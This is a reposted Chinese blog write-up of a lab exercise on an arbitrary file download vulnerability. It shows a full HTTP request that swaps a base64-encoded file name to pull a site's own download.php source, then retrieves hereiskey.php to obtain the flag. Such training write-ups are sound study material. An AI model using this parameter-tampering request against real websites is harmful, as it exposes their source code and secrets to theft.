檔案下載漏洞練習（一）

（1）開啟網頁


（2）同樣的先抓下包

我們注意到：

url=Y2hvdWJhZ3VhaS5tcDM 還有/download.php

先解碼看看是什麼


是個檔名


（3）我們試著將其替換成、download.php

GET /download.php?url=ZG93bmxvYWQucGhw= HTTP/1.1
Host: e2ad76b4d4b6d6ed.yunyansec.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://e2ad76b4d4b6d6ed.yunyansec.com/
Accept-Language: zh-CN,zh;q=0.9
Connection: close

（4）檔案下載成功，開啟後發現還可以有hereiskey.php下載

同樣先編碼


得到key

     本文轉自Alyoyojie 51CTO部落格，原文連結：http://blog.51cto.com/antivirusjo/2059595，如需轉載請自行聯絡原作者